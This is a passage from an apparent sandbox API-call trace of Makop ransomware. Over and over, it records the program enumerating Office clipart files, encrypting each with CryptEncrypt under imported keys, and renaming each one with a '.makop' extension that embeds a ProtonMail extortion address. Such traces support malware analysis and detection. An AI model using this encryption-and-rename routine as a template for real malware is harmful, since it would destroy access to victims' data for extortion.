lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0118.129] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0118.129] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0118.130] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0118.130] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0118.130] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.130] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.130] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.130] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.130] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7db8, lpOverlapped=0x0) returned 1 [0118.132] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0) returned 1 [0118.132] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.133] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7dc0, lpOverlapped=0x0) returned 1 [0118.133] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.133] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.133] SetEndOfFile (hFile=0xf0) returned 1 [0118.141] GetProcessHeap () returned 0x48a0000 [0118.141] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0118.141] GetProcessHeap () returned 0x48a0000 [0118.141] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0118.141] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0118.141] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0118.142] CloseHandle (hObject=0xf0) returned 1 [0118.143] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6aa1600, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6aa1600, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101858.BMP", cAlternateFileName="")) returned 1 [0118.143] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0118.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0118.143] GetProcessHeap () returned 0x48a0000 [0118.144] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0118.144] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0118.144] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0118.144] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.148] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.148] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.148] GetProcessHeap () returned 0x48a0000 [0118.148] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0118.148] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0118.148] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.148] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0118.148] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0118.148] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0118.149] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0118.149] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0118.149] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.149] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.149] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.149] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.149] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7db8, lpOverlapped=0x0) returned 1 [0118.153] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0) returned 1 [0118.153] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.153] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7dc0, lpOverlapped=0x0) returned 1 [0118.153] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.153] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.154] SetEndOfFile (hFile=0xf0) returned 1 [0118.161] GetProcessHeap () returned 0x48a0000 [0118.161] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0118.161] GetProcessHeap () returned 0x48a0000 [0118.161] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0118.161] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0118.161] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0118.162] CloseHandle (hObject=0xf0) returned 1 [0118.162] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac703800, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac703800, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101859.BMP", cAlternateFileName="")) returned 1 [0118.162] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0118.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0118.163] GetProcessHeap () returned 0x48a0000 [0118.163] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0118.163] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0118.163] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0118.164] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.164] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.164] GetProcessHeap () returned 0x48a0000 [0118.164] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0118.164] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0118.164] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.164] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0118.186] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0118.187] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0118.187] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0118.187] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0118.187] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.187] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.187] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.188] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.188] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7ce0, lpOverlapped=0x0) returned 1 [0118.189] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ce0) returned 1 [0118.190] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.190] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7ce0, lpOverlapped=0x0) returned 1 [0118.190] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.190] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.191] SetEndOfFile (hFile=0xf0) returned 1 [0118.198] GetProcessHeap () returned 0x48a0000 [0118.198] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0118.198] GetProcessHeap () returned 0x48a0000 [0118.198] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0118.198] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0118.199] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0118.200] CloseHandle (hObject=0xf0) returned 1 [0118.200] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaed29200, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaed29200, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101860.BMP", cAlternateFileName="")) returned 1 [0118.200] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0118.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0118.201] GetProcessHeap () returned 0x48a0000 [0118.201] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0118.202] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0118.202] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0118.202] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.212] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.212] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.212] GetProcessHeap () returned 0x48a0000 [0118.212] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0118.212] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0118.212] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.212] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0118.212] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0118.213] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0118.213] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0118.213] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0118.213] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.213] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.214] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.214] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.214] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7db8, lpOverlapped=0x0) returned 1 [0118.216] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0) returned 1 [0118.216] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.216] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7dc0, lpOverlapped=0x0) returned 1 [0118.217] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.217] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.217] SetEndOfFile (hFile=0xf0) returned 1 [0118.224] GetProcessHeap () returned 0x48a0000 [0118.224] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0118.225] GetProcessHeap () returned 0x48a0000 [0118.225] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0118.225] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0118.225] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0118.227] CloseHandle (hObject=0xf0) returned 1 [0118.227] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2661900, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2661900, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101861.BMP", cAlternateFileName="")) returned 1 [0118.227] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0118.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0118.373] GetProcessHeap () returned 0x48a0000 [0118.373] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0118.373] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0118.373] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0118.374] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.657] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.657] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.657] GetProcessHeap () returned 0x48a0000 [0118.657] RtlAllocateHeap 